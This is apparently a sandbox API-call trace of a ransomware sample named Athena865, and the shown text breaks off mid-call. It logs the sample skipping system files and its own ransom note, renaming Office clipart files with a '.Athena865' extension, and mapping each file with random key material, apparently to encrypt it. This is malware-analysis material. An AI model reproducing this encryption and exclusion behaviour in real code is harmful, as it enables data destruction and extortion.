[0121.434] lstrlenW (lpString="AN01174_.WMF") returned 12 [0121.434] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN01174_.WMF" | out: lpString1="AN01174_.WMF") returned="AN01174_.WMF" [0121.434] lstrlenW (lpString="AN01174_.WMF") returned 12 [0121.434] lstrlenW (lpString="Athena865") returned 9 [0121.434] lstrcmpiW (lpString1="1174_.WMF", lpString2="Athena865") returned -1 [0121.434] lstrlenW (lpString=".dll") returned 4 [0121.434] lstrcmpiW (lpString1="AN01174_.WMF", lpString2=".dll") returned 1 [0121.434] lstrlenW (lpString=".lnk") returned 4 [0121.434] lstrcmpiW (lpString1="AN01174_.WMF", lpString2=".lnk") returned 1 [0121.434] lstrlenW (lpString=".ini") returned 4 [0121.434] lstrcmpiW (lpString1="AN01174_.WMF", lpString2=".ini") returned 1 [0121.434] lstrlenW (lpString=".sys") returned 4 [0121.434] lstrcmpiW (lpString1="AN01174_.WMF", lpString2=".sys") returned 1 [0121.434] lstrlenW (lpString="AN01174_.WMF") returned 12 [0121.434] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.Athena865") returned 73 [0121.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.435] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27858) returned 1 [0121.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.436] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.436] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.436] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.436] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6fe0, lpName=0x0) returned 0x154 [0121.438] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6fe0) returned 0x100000 [0121.443] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.444] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.444] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.444] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.444] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.444] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.444] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.444] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.444] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.444] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.445] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.445] CloseHandle (hObject=0x154) returned 1 [0121.445] CloseHandle (hObject=0x17c) returned 1 [0121.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.445] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cbf4f00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cbf4f00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1 [0121.446] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.446] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.446] lstrcmpiW (lpString1="AN01184_.WMF", lpString2=".") returned 1 [0121.446] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="..") returned 1 [0121.446] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="windows") returned -1 [0121.446] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="bootmgr") returned -1 [0121.446] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="temp") returned -1 [0121.446] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="pagefile.sys") returned -1 [0121.446] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="boot") returned -1 [0121.446] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="ids.txt") returned -1 [0121.446] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="ntuser.dat") returned -1 [0121.446] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="perflogs") returned -1 [0121.446] lstrcmpiW (lpString1="AN01184_.WMF", lpString2="MSBuild") returned -1 [0121.446] lstrlenW (lpString="AN01184_.WMF") returned 12 [0121.446] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN01184_.WMF" | out: lpString1="AN01184_.WMF") returned="AN01184_.WMF" [0121.446] lstrlenW (lpString="AN01184_.WMF") returned 12 [0121.446] lstrlenW (lpString="Athena865") returned 9 [0121.446] lstrcmpiW (lpString1="1184_.WMF", lpString2="Athena865") returned -1 [0121.446] lstrlenW (lpString=".dll") returned 4 [0121.446] lstrcmpiW (lpString1="AN01184_.WMF", lpString2=".dll") returned 1 [0121.446] lstrlenW (lpString=".lnk") returned 4 [0121.446] lstrcmpiW (lpString1="AN01184_.WMF", lpString2=".lnk") returned 1 [0121.446] lstrlenW (lpString=".ini") returned 4 [0121.446] lstrcmpiW (lpString1="AN01184_.WMF", lpString2=".ini") returned 1 [0121.446] lstrlenW (lpString=".sys") returned 4 [0121.446] lstrcmpiW (lpString1="AN01184_.WMF", lpString2=".sys") returned 1 [0121.446] lstrlenW (lpString="AN01184_.WMF") returned 12 [0121.447] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.Athena865") returned 73 [0121.447] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.448] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3746) returned 1 [0121.448] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.448] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.448] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.448] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.449] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.449] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.449] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11b0, lpName=0x0) returned 0x154 [0121.451] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11b0) returned 0x100000 [0121.451] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.452] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.452] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.453] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.453] CloseHandle (hObject=0x154) returned 1 [0121.453] CloseHandle (hObject=0x17c) returned 1 [0121.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.453] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8335e700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8335e700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1 [0121.453] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.453] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.454] lstrcmpiW (lpString1="AN01216_.WMF", lpString2=".") returned 1 [0121.454] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="..") returned 1 [0121.454] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="windows") returned -1 [0121.454] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="bootmgr") returned -1 [0121.454] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="temp") returned -1 [0121.454] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="pagefile.sys") returned -1 [0121.454] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="boot") returned -1 [0121.454] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="ids.txt") returned -1 [0121.454] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="ntuser.dat") returned -1 [0121.454] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="perflogs") returned -1 [0121.454] lstrcmpiW (lpString1="AN01216_.WMF", lpString2="MSBuild") returned -1 [0121.454] lstrlenW (lpString="AN01216_.WMF") returned 12 [0121.454] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN01216_.WMF" | out: lpString1="AN01216_.WMF") returned="AN01216_.WMF" [0121.454] lstrlenW (lpString="AN01216_.WMF") returned 12 [0121.454] lstrlenW (lpString="Athena865") returned 9 [0121.454] lstrcmpiW (lpString1="1216_.WMF", lpString2="Athena865") returned -1 [0121.454] lstrlenW (lpString=".dll") returned 4 [0121.454] lstrcmpiW (lpString1="AN01216_.WMF", lpString2=".dll") returned 1 [0121.454] lstrlenW (lpString=".lnk") returned 4 [0121.454] lstrcmpiW (lpString1="AN01216_.WMF", lpString2=".lnk") returned 1 [0121.454] lstrlenW (lpString=".ini") returned 4 [0121.454] lstrcmpiW (lpString1="AN01216_.WMF", lpString2=".ini") returned 1 [0121.454] lstrlenW (lpString=".sys") returned 4 [0121.454] lstrcmpiW (lpString1="AN01216_.WMF", lpString2=".sys") returned 1 [0121.454] lstrlenW (lpString="AN01216_.WMF") returned 12 [0121.454] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.Athena865") returned 73 [0121.454] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.455] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5836) returned 1 [0121.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.456] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.457] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.457] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.457] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x19d0, lpName=0x0) returned 0x154 [0121.458] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x19d0) returned 0x100000 [0121.459] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.460] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.460] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.460] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.460] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.460] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.460] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.460] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.461] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.461] CloseHandle (hObject=0x154) returned 1 [0121.461] CloseHandle (hObject=0x17c) returned 1 [0121.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.461] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa26000, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fa26000, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1 [0121.461] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.461] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.461] lstrcmpiW (lpString1="AN01218_.WMF", lpString2=".") returned 1 [0121.461] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="..") returned 1 [0121.461] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="windows") returned -1 [0121.461] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="bootmgr") returned -1 [0121.461] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="temp") returned -1 [0121.462] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="pagefile.sys") returned -1 [0121.462] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="boot") returned -1 [0121.462] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="ids.txt") returned -1 [0121.462] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="ntuser.dat") returned -1 [0121.462] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="perflogs") returned -1 [0121.462] lstrcmpiW (lpString1="AN01218_.WMF", lpString2="MSBuild") returned -1 [0121.462] lstrlenW (lpString="AN01218_.WMF") returned 12 [0121.462] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN01218_.WMF" | out: lpString1="AN01218_.WMF") returned="AN01218_.WMF" [0121.462] lstrlenW (lpString="AN01218_.WMF") returned 12 [0121.462] lstrlenW (lpString="Athena865") returned 9 [0121.462] lstrcmpiW (lpString1="1218_.WMF", lpString2="Athena865") returned -1 [0121.462] lstrlenW (lpString=".dll") returned 4 [0121.462] lstrcmpiW (lpString1="AN01218_.WMF", lpString2=".dll") returned 1 [0121.462] lstrlenW (lpString=".lnk") returned 4 [0121.462] lstrcmpiW (lpString1="AN01218_.WMF", lpString2=".lnk") returned 1 [0121.462] lstrlenW (lpString=".ini") returned 4 [0121.462] lstrcmpiW (lpString1="AN01218_.WMF", lpString2=".ini") returned 1 [0121.462] lstrlenW (lpString=".sys") returned 4 [0121.462] lstrcmpiW (lpString1="AN01218_.WMF", lpString2=".sys") returned 1 [0121.462] lstrlenW (lpString="AN01218_.WMF") returned 12 [0121.462] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.Athena865") returned 73 [0121.462] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.463] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3012) returned 1 [0121.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.464] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.464] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.464] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.465] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xed0, lpName=0x0) returned 0x154 [0121.466] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xed0) returned 0x100000 [0121.467] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.467] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.467] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.468] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.468] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.468] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.468] CloseHandle (hObject=0x154) returned 1 [0121.468] CloseHandle (hObject=0x17c) returned 1 [0121.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.468] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bb3800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x68bb3800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1 [0121.468] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.468] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.469] lstrcmpiW (lpString1="AN01251_.WMF", lpString2=".") returned 1 [0121.469] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="..") returned 1 [0121.469] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="windows") returned -1 [0121.469] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="bootmgr") returned -1 [0121.469] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="temp") returned -1 [0121.469] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="pagefile.sys") returned -1 [0121.469] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="boot") returned -1 [0121.469] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="ids.txt") returned -1 [0121.469] lstrcmpiW (lpString1="AN01251_.WMF", lpString2="ntuser.dat") returned -1 [0121.469] lstrcmpiW (lpString1="AN01251_.WMF", 